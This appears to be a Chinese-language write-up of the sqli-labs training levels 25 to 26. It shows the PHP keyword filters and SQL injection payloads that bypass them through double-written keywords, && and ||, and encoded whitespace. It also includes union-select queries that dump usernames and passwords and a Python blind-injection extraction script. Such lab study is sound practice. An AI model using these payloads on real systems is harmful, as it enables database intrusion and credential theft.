functionblacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return$id; }
i表示不敏感大小写,这样的话想用报错注入就要进行绕过了
1 2
and可以用&& or可以用||
也有双写绕过
1 2 3 4 5 6 7 8 9 10
输入 oorr 进行过滤后会变成 or 实现绕过
同理 输入aandnd 经过过滤变成 and
当然可以直接用联合注入法: 注意要绕过字符
1 2 3 4 5 6
?id=' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
?id=' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' aandnd table_schema='security'--+
information要换成infoorrmation。 and要换成&&或者aandnd。
最后payload
1 2 3
?id=' union select 1,2,group_concat(id,username,'!',passwoorrd) from users--+
passsword要换成passwoord
less-25a
要求使用盲注,而且像上题一样过滤or和and, 测试了好一会,发现根本不需要闭合
1
?id=-1unionselect1,2,3
题目可以直接联合注入
1
?id=-1unionselect1,2,group_concat(id,username,passwoorrd) from users
# 定义一个函数,用于提取数据库、表、字段或数据 defextract_data(sql): s = ""# 初始化一个空字符串,用于存储结果 position = 0# 初始化字符位置计数器 whileTrue: position += 1# 每次循环增加字符位置 # 尝试猜测当前字符位置是否为空 res = inject(URL.format(sql=sql, position=position, char="", time=SLEEP_TIME)) if res: break# 如果为空,退出循环 # 遍历所有可能的字符 for char in ALPHABET: # 构造完整的URL并发送请求 res = inject(URL.format(sql=sql, position=position, char=char, time=SLEEP_TIME)) if res: s += char # 如果猜测正确,将字符添加到结果字符串中 break# 退出循环,继续下一个字符 return s # 返回最终结果字符串
# 获取表名 tables = extract_data("select group_concat(table_name) from infoorrmation_schema.tables where table_schema='%s'" % database) print(tables)
# 获取字段名 columns = extract_data("select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users'") print(columns)
# 获取用户名和密码,可以替换自己想要的表名 #all = extract_data("select group_concat(id,username,password) from users") #print(all)
less-26
1 2 3 4 5 6 7 8
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
\s = 空格 大概就是空格,制表符,换行符都过滤了,
注释可以用;%00 空格绕过%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格空格,但是可能是apache解析不了(我用的也是apache),博客上都选择报错注入加()绕过空格,就不用考虑空格 or 可以用 || 或 oorr and 可以用 && 或 aandnd